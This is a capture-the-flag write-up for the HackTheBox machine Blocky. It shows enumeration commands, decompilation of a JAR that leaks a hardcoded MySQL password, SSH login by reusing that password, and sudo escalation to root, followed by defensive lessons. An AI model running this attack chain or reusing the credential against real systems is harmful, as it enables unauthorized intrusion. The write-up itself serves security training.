Blocky - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐☆☆☆

Summary

Blocky is an easy Linux machine that demonstrates the critical risks of poor password hygiene and exposing internal files on public-facing systems. The machine features a WordPress site with an exposed plugins directory containing Java archive files. By decompiling a custom JAR file (BlockyCore), database credentials are extracted and reused for SSH access as the notch user. Privilege escalation is trivial due to the user being a member of the sudoers group with full access. The machine serves as an excellent real-world example of how Minecraft servers—often configured by inexperienced administrators—present significant security vulnerabilities.

TL;DR: Enumerate WordPress plugins → Decompile JAR file for credentials → SSH with credential reuse → Sudo to root.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.37

Results:

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD 1.3.5b
22/tcp    open  ssh          OpenSSH 7.2p2
80/tcp    open  http         Apache httpd 2.4.18
8192/tcp  open  unknown      (Minecraft Votifier - Standard Port)
25565/tcp open  minecraft    Minecraft 1.11.2 (Protocol: 393)

Key observations:

• WordPress installation running on port 80
• Minecraft server publicly accessible on port 25565
• Standard ports for common services: SSH (22), FTP (21)
• Multiple attack vectors available

Service Enumeration

WordPress Site Discovery

The HTTP service hosts a WordPress blog. Using directory enumeration tools (DirBuster) with a lowercase medium wordlist reveals a custom /plugins directory:

# Using DirBuster or ffuf to enumerate directories
ffuf -u http://10.10.10.37/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 40

The /plugins directory contains:

• griefprevention.jar (open-source Minecraft plugin)
• BlockyCore.jar (custom plugin created for this server)

WordPress User Enumeration

Posts on the WordPress site reveal a username: notch (the administrator/creator of the server).

Vulnerability Assessment

1. Exposed JAR Files: Custom plugins directory publicly accessible
2. Decompilable Code: BlockyCore.jar contains hardcoded credentials
3. Credential Reuse: Database credentials reused for system accounts
4. Weak Sudo Configuration: User granted unrestricted sudo privileges

Initial Foothold

Exploitation Path

Step 1: Decompile BlockyCore.jar

The JAR file can be decompiled using JD-GUI or similar Java decompilation tools:

# Download the JAR file from the web server
wget http://10.10.10.37/plugins/BlockyCore.jar

# Decompile using JD-GUI (GUI) or cfr (command-line)
cfr BlockyCore.jar --outputdir src/

Examining the decompiled code reveals hardcoded MySQL credentials:

// Found in BlockyCore source
String username = "root";
String password = "8YsqfCTnvxAUeduzjNSXe22";

Step 2: Credential Reuse for SSH Access

With the discovered credentials (root:8YsqfCTnvxAUeduzjNSXe22) and the username notch discovered from WordPress, attempt SSH login:

# SSH as notch user with the MySQL root password
ssh notch@10.10.10.37
# Password: 8YsqfCTnvxAUeduzjNSXe22

Success! The password is reused across multiple services and accounts, granting immediate access to the system.

Step 3: Capture User Flag

cat /home/notch/user.txt

Privilege Escalation

Analysis with LinEnum

Run LinEnum to enumerate system configuration:

# Download LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

Key Finding: The output reveals that user notch is a member of the sudoers group with unrestricted sudo privileges.

Escalation to Root

# Escalate directly to root shell
sudo -i
# No password required due to sudo configuration

# Verify root access
whoami
# Output: root

# Capture root flag
cat /root/root.txt

The privilege escalation is straightforward—no complex exploitation required. The notch user is configured to run any command with sudo without password authentication.

Attack Chain Summary

Directory Enumeration (/plugins)
  ↓
JAR File Discovery (BlockyCore.jar)
  ↓
Decompile JAR → Extract Credentials (root:8YsqfCTnvxAUeduzjNSXe22)
  ↓
SSH with Credential Reuse (notch@10.10.10.37)
  ↓
User Flag Captured (/home/notch/user.txt)
  ↓
LinEnum Enumeration → Sudoers Group Membership
  ↓
sudo -i → Root Access
  ↓
Root Flag Captured (/root/root.txt)

Tools Used

Key Learnings

Techniques Practiced

• Web application enumeration and directory discovery
• Java JAR file decompilation and source code analysis
• Credential extraction from application source code
• Credential reuse attacks across multiple services
• System enumeration using LinEnum for privilege escalation vectors
• Exploitation of misconfigured sudo privileges

Lessons Learned

1. Never hardcode credentials in application source code, especially credentials that may be decompiled or exposed in JAR files.

2. Implement credential separation across systems. Using the same password for database and system accounts creates a single point of failure.

3. Properly configure sudo privileges. Users should only have sudo access to specific commands they require, not unrestricted access via sudo -i.

4. Restrict public access to internal files. The /plugins directory should never be publicly accessible or should require authentication.

5. Minecraft servers present significant attack vectors. Administrators typically lack security experience, making these servers frequent targets for exploitation.

6. Defense in depth is critical. Even with one layer of security compromised, proper configuration of remaining layers can prevent full system compromise.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>